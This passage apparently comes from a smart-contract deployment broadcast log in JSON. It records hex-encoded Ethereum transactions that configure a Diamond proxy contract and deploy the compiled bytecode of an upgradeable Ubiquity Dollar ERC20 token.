000000000000d547741f000000000000000000000000000000000000000000000000000000001e4e0091000000000000000000000000000000000000000000000000000000003f4ba83a00000000000000000000000000000000000000000000000000000000000000000000000000000000d3c81bd07948a38546bca894f8bfecb5526137980000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000011f931c1c00000000000000000000000000000000000000000000000000000000000000000000000000000000d11b60c336a8416162272475ff9df572e516fc51000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000005cdffacc60000000000000000000000000000000000000000000000000000000052ef6b2c00000000000000000000000000000000000000000000000000000000adfca15e000000000000000000000000000000000000000000000000000000007a0ed6270000000000000000000000000000000000000000000000000000000001ffc9a7000000000000000000000000000000000000000000000000000000000000000000000000000000000e9f3299b9443d3d5130771f26b7e18a2a7aa9db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000291a47c90400000000000000000000000000000000000000000000000000000000421e108c0000000000000000000000000000000000000000000000000000000091df16d300000000000000000000000000000000000000000000000000000000b0bd67b4000000000000000000000000000000000000000000000000000000008b38ebb300000000000000000000000000000000000000000000000000000000ebef28a700000000000000000000000000000000000000000000000000000000017df32700000000000000000000000000000000000000000000000000000000fbff3a4100000000000000000000000000000000000000000000000000000000e0ee685500000000000000000000000000000000000000000000000000000000bc3ea01800000000000000000000000000000000000000000000000000000000a9b8b79600000000000000000000000000000000000000000000000000000000214f788200000000000000000000000000000000000000000000000000000000b42165d000000000000000000000000000000000000000000000000000000000221e2e600000000000000000000000000000000000000000000000000000000033c5aa5700000000000000000000000000000000000000000000000000000000c0030add00000000000000000000000000000000000000000000000000000000dd390ea000000000000000000000000000000000000000000000000000000000ba2d8cdd0000000000000000000000000000000000000000000000000000000093e4e9ee000000000000000000000000000000000000000000000000000000001a867af500000000000000000000000000000000000000000000000000000000f986cd5700000000000000000000000000000000000000000000000000000000f6f172cb0000000000000000000000000000000000000000000000000000000015f9739800000000000000000000000000000000000000000000000000000000e2d443bd00000000000000000000000000000000000000000000000000000000016afee700000000000000000000000000000000000000000000000000000000be1d86e10000000000000000000000000000000000000000000000000000000092324611000000000000000000000000000000000000000000000000000000001f7e8c7e000000000000000000000000000000000000000000000000000000001c1f8aa3000000000000000000000000000000000000000000000000000000000083faee00000000000000000000000000000000000000000000000000000000147f1b96000000000000000000000000000000000000000000000000000000006605bfda00000000000000000000000000000000000000000000000000000000826d5b8b00000000000000000000000000000000000000000000000000000000d3815fb900000000000000000000000000000000000000000000000000000000965cc7ac000000000000000000000000000000000000000000000000000000003535f48b00000000000000000000000000000000000000000000000000000000ad3401ed0000000000000000000000000000000000000000000000000000000036c3df2400000000000000000000000000000000000000000000000000000000c5f956af000000000000000000000000000000000000000000000000000000008fe6368300000000000000000000000000000000000000000000000000000000e8b734240000000000000000000000000000000000000000000000000000000000000000000000000000000058860e93b6fc7a6e4abd0f5d851a88654a34d0c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000028da5cb5b00000000000000000000000000000000000000000000000000000000f2fde38b00000000000000000000000000000000000000000000000000000000000000000000000000000000b64f2347752192f51930ad6ad3bea0b3a2074fac0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000202ed4d2d6000000000000000000000000000000000000000000000000000000007efc918f0000000000000000000000000000000000000000000000000000000081f17467000000000000000000000000000000000000000000000000000000009aae55a70000000000000000000000000000000000000000000000000000000082ae27cd00000000000000000000000000000000000000000000000000000000b4eae1cb000000000000000000000000000000000000000000000000000000009c494373000000000000000000000000000000000000000000000000000000009d202bf8000000000000000000000000000000000000000000000000000000009b52b9a80000000000000000000000000000000000000000000000000000000017b2bffa0000000000000000000000000000000000000000000000000000000087dcd5fb000000000000000000000000000000000000000000000000000000005b0bdd8a0000000000000000000000000000000000000000000000000000000092beb04200000000000000000000000000000000000000000000000000000000245cd973000000000000000000000000000000000000000000000000000000002287fe4000000000000000000000000000000000000000000000000000000000c4cb35cf00000000000000000000000000000000000000000000000000000000edecef95000000000000000000000000000000000000000000000000000000007e625a550000000000000000000000000000000000000000000000000000000030bbe58500000000000000000000000000000000000000000000000000000000de858d7c000000000000000000000000000000000000000000000000000000006060663e00000000000000000000000000000000000000000000000000000000a14d1f7800000000000000000000000000000000000000000000000000000000cec10c11000000000000000000000000000000000000000000000000000000009b94607c00000000000000000000000000000000000000000000000000000000ecfd1a9e000000000000000000000000000000000000000000000000000000007853c88800000000000000000000000000000000000000000000000000000000cbd4e7b4000000000000000000000000000000000000000000000000000000008106016300000000000000000000000000000000000000000000000000000000b98c9fe600000000000000000000000000000000000000000000000000000000aeaf4f0400000000000000000000000000000000000000000000000000000000040da68500000000000000000000000000000000000000000000000000000000edc8d27d00000000000000000000000000000000000000000000000000000000", + "nonce": "0x454", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x56be8eb80be13dc0436d0c942e8acc83862b112bfb0731b42ca6bf120054001b", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1c559", + "value": "0x0", + "input": "0x2f2ff15d2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x455", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xacff54d7f5e37e2dfc5f3571b049b739d854cd8e794a2f800970c1f6fb9887df", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1c559", + "value": "0x0", + "input": "0x2f2ff15dd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x456", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x8b7c0241c36b5eeb6e8efd2045c7d973d8998316e13ba3fc7dc99b78d3b8ec34", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x9a1fb", + "value": "0x0", + "input": "0x7efc918f0000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000021e19e0c9bab2400000", + "nonce": "0x457", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xdb5488814de8a7f72a3170b7ef2a05b9a86ef6337764913dd43a3b6a53b7c4ab", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1340b", + "value": "0x0", + "input": "0xaeaf4f040000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x458", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xcc2d6206a1dc7ec167dbc0f8f1f8f99432e5ce40055fc5ab11c4a471f4369a5f", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0xe44d", + "value": "0x0", + "input": "0xcec10c11000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x459", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x38f11c495a9932f57aededd4600e0814cbe503bae2fd2e9131ea2d462001a35c", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x12b51", + "value": "0x0", + "input": "0xcbd4e7b40000000000000000000000000000000000000000000000000000000000000002", + "nonce": "0x45a", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x243bebc21d94c75a0535bbd107b62ecf1f1cd3ebf01a97b5fb7ce59b5980a21d", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x19477", + "value": "0x0", + "input": "0x7853c88800000000000000000000000000000000000000000000000000000000000f695000000000000000000000000000000000000000000000000000000000000f1b30", + "nonce": "0x45b", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xe786a6732987d10d4b0575a99b6246d6d86992c84eefc876fa3a4b61cfb1213c", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x12bbc", + "value": "0x0", + "input": "0x6060663e00000000000000000000000000000000000000000000000000000000000e7ef0", + "nonce": "0x45c", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x30db3b6f8445902510a739692dd04d981f8d860a5f1f8654e65371aee14d9114", + "transactionType": "CREATE", + "contractName": "UbiquityDollarToken", + "contractAddress": "0x7745a062c0a8aaefaa7e7df1e1aabbbafc988972", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x3e01d7", + "value": "0x0", + "input": "0x60a0604052306080523480156200001557600080fd5b506200002062000030565b6200002a62000030565b620000f1565b600054610100900460ff16156200009d5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff90811614620000ef576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60805161375962000129600039600081816106c70152818161076201528181610bc501528181610c5b0152610d8a01526137596000f3fe6080604052600436106101c25760003560e01c80635c975abb116100f7578063a457c2d711610095578063d0ebdbe711610064578063d0ebdbe714610512578063d500958414610532578063d505accf1461055e578063dd62ed3e1461057e57600080fd5b8063a457c2d714610492578063a9059cbb146104b2578063b84c8246146104d2578063c4d66de8146104f257600080fd5b80637ecebe00116100d15780637ecebe00146104205780638456cb591461044057806384b0196e1461045557806395d89b411461047d57600080fd5b80635c975abb146103a457806370a08231146103bd57806379cc67901461040057600080fd5b80633659cfe61161016457806340c10f191161013e57806340c10f191461033c57806342966c681461035c5780634f1ef2861461037c57806352d1902d1461038f57600080fd5b80633659cfe6146102e557806339509351146103075780633f4ba83a1461032757600080fd5b806318160ddd116101a057806318160ddd1461027557806323b872dd14610294578063313ce567146102b45780633644e515146102d057600080fd5b806306fdde03146101c7578063095ea7b3146101f257806313007d5514610222575b600080fd5b3480156101d357600080fd5b506101dc6105d1565b6040516101e991906130de565b60405180910390f35b3480156101fe57600080fd5b5061021261020d36600461311a565b610663565b60405190151581526020016101e9565b34801561022e57600080fd5b50610195546102509073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101e9565b34801561028157600080fd5b506099545b6040519081526020016101e9565b3480156102a057600080fd5b506102126102af366004613144565b61067d565b3480156102c057600080fd5b50604051601281526020016101e9565b3480156102dc57600080fd5b506102866106a1565b3480156102f157600080fd5b50610305610300366004613180565b6106b0565b005b34801561031357600080fd5b5061021261032236600461311a565b610886565b34801561033357600080fd5b506103056108d2565b34801561034857600080fd5b5061030561035736600461311a565b6109e1565b34801561036857600080fd5b5061030561037736600461319b565b610b64565b61030561038a366004613277565b610bae565b34801561039b57600080fd5b50610286610d70565b3480156103b057600080fd5b506101305460ff16610212565b3480156103c957600080fd5b506102866103d8366004613180565b73ffffffffffffffffffffffffffffffffffffffff1660009081526097602052604090205490565b34801561040c57600080fd5b5061030561041b36600461311a565b610e42565b34801561042c57600080fd5b5061028661043b366004613180565b610fc8565b34801561044c57600080fd5b50610305610ff3565b34801561046157600080fd5b5061046a611100565b6040516101e997969594939291906132d9565b34801561048957600080fd5b506101dc6111c2565b34801561049e57600080fd5b506102126104ad36600461311a565b6111d2565b3480156104be57600080fd5b506102126104cd36600461311a565b611289565b3480156104de57600080fd5b506103056104ed366004613398565b611297565b3480156104fe57600080fd5b5061030561050d366004613180565b61138a565b34801561051e57600080fd5b5061030561052d366004613180565b61156f565b34801561053e57600080fd5b506101955473ffffffffffffffffffffffffffffffffffffffff16610250565b34801561056a57600080fd5b506103056105793660046133e1565b61169d565b34801561058a57600080fd5b50610286610599366004613454565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260986020908152604080832093909416825291909152205490565b6060609a80546105e090613487565b80601f016020809104026020016040519081016040528092919081815260200182805461060c90613487565b80156106595780601f1061062e57610100808354040283529160200191610659565b820191906000526020600020905b81548152906001019060200180831161063c57829003601f168201915b5050505050905090565b600033610671818585611828565b60019150505b92915050565b60003361068b8582856119a7565b610696858585611a64565b506001949350505050565b60006106ab611a7c565b905090565b73ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001630036107605760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084015b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166107d57f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff161461085e5760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f787900000000000000000000000000000000000000006064820152608401610757565b61086781611a86565b6040805160008082526020820190925261088391839190611b6c565b50565b33600081815260986020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490919061067190829086906108cd9087906134d4565b611828565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081527f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b919061350e565b6109d75760405162461bcd60e51b815260206004820152601960248201527f455243323055626971756974793a206e6f7420706175736572000000000000006044820152606401610757565b6109df611d37565b565b6101955473ffffffffffffffffffffffffffffffffffffffff166391d148547f2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd336040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b168152600481019290925273ffffffffffffffffffffffffffffffffffffffff166024820152604401602060405180830381865afa158015610a91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab5919061350e565b610b015760405162461bcd60e51b815260206004820152601860248201527f446f6c6c617220746f6b656e3a206e6f74206d696e74657200000000000000006044820152606401610757565b610b09611db5565b610b138282611e09565b604051818152339073ffffffffffffffffffffffffffffffffffffffff8416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca9060200160405180910390a35050565b610b6c611db5565b610b763382611ef0565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b73ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000163003610c595760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c00000000000000000000000000000000000000006064820152608401610757565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16610cce7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610d575760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f787900000000000000000000000000000000000000006064820152608401610757565b610d6082611a86565b610d6c82826001611b6c565b5050565b60003073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610e1d5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c00000000000000006064820152608401610757565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b6101955473ffffffffffffffffffffffffffffffffffffffff166391d148547fd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0336040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b168152600481019290925273ffffffffffffffffffffffffffffffffffffffff166024820152604401602060405180830381865afa158015610ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f16919061350e565b610f625760405162461bcd60e51b815260206004820152601860248201527f446f6c6c617220746f6b656e3a206e6f74206275726e657200000000000000006044820152606401610757565b610f6a611db5565b610f748282611ef0565b8173ffffffffffffffffffffffffffffffffffffffff167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610fbc91815260200190565b60405180910390a25050565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260fd6020526040812054610677565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081527f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac919061350e565b6110f85760405162461bcd60e51b815260206004820152601960248201527f455243323055626971756974793a206e6f7420706175736572000000000000006044820152606401610757565b6109df61208e565b60006060806000806000606060c9546000801b148015611120575060ca54155b61116c5760405162461bcd60e51b815260206004820152601560248201527f4549503731323a20556e696e697469616c697a656400000000000000000000006044820152606401610757565b6111746120ea565b61117c6120f9565b604080516000808252602082019092527f0f000000000000000000000000000000000000000000000000000000000000009b939a50919850469750309650945092509050565b606061019480546105e090613487565b33600081815260986020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091908381101561127c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610757565b6106968286868403611828565b600033610671818585611a64565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081526000600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa15801561130d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611331919061350e565b61137d5760405162461bcd60e51b815260206004820152601860248201527f455243323055626971756974793a206e6f742061646d696e00000000000000006044820152606401610757565b610194610d6c828261357e565b600054610100900460ff16158080156113aa5750600054600160ff909116105b806113c45750303b1580156113c4575060005460ff166001145b6114365760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610757565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055801561149457600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101001790555b611509826040518060400160405280600f81526020017f556269717569747920446f6c6c617200000000000000000000000000000000008152506040518060400160405280600381526020017f7541440000000000000000000000000000000000000000000000000000000000815250612108565b8015610d6c57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081526000600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa1580156115e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611609919061350e565b6116555760405162461bcd60e51b815260206004820152601860248201527f455243323055626971756974793a206e6f742061646d696e00000000000000006044820152606401610757565b61019580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b834211156116ed5760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e650000006044820152606401610757565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861171c8c6121b2565b60408051602081019690965273ffffffffffffffffffffffffffffffffffffffff94851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506000611784826121e7565b905060006117948287878761222f565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146118115760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e617475726500006044820152606401610757565b61181c8a8a8a611828565b50505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff83166118b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff82166119395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526098602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8381166000908152609860209081526040808320938616835292905220547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611a5e5781811015611a515760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610757565b611a5e8484848403611828565b50505050565b611a6c611db5565b611a77838383612259565b505050565b60006106ab61248c565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081526000600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa158015611afc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b20919061350e565b6108835760405162461bcd60e51b815260206004820152601860248201527f455243323055626971756974793a206e6f742061646d696e00000000000000006044820152606401610757565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615611b9f57611a7783612500565b8273ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015611c24575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611c2191810190613698565b60015b611c965760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201527f6f6e206973206e6f7420555550530000000000000000000000000000000000006064820152608401610757565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8114611d2b5760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f7860448201527f6961626c655555494400000000000000000000000000000000000000000000006064820152608401610757565b50611a778383836125f0565b611d3f612615565b61013080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1565b6101305460ff16156109df5760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216611e6c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610757565b611e7860008383612668565b8060996000828254611e8a91906134d4565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000818152609760209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff8216611f795760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360448201527f73000000000000000000000000000000000000000000000000000000000000006064820152608401610757565b611f8582600083612668565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260976020526040902054818110156120215760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60448201527f63650000000000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff831660008181526097602090815260408083208686039055609980548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b612096611db5565b61013080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611d8b3390565b606060cb80546105e090613487565b606060cc80546105e090613487565b600054610100900460ff166121855760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b61218f8282612673565b612198826126fa565b6121a06127b6565b6121a861283b565b611a7783826128b8565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260fd602052604090208054600181018255905b50919050565b60006106776121f4611a7c565b836040517f19010000000000000000000000000000000000000000000000000000000000008152600281019290925260228201526042902090565b60008060006122408787878761298c565b9150915061224d81612a7b565b5090505b949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166122e25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff821661236b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610757565b612376838383612668565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260976020526040902054818110156124125760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e636500000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526097602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061247f9086815260200190565b60405180910390a3611a5e565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6124b7612be0565b6124bf612c39565b60408051602081019490945283019190915260608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b73ffffffffffffffffffffffffffffffffffffffff81163b61258a5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e7472616374000000000000000000000000000000000000006064820152608401610757565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6125f983612c6a565b6000825111806126065750805b15611a7757611a5e8383612cb7565b6101305460ff166109df5760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610757565b611a77838383612ce3565b600054610100900460ff166126f05760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b610d6c8282612d5d565b600054610100900460ff166127775760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b610883816040518060400160405280600181526020017f3100000000000000000000000000000000000000000000000000000000000000815250612df3565b600054610100900460ff166128335760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b6109df612e98565b600054610100900460ff166109df5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b600054610100900460ff16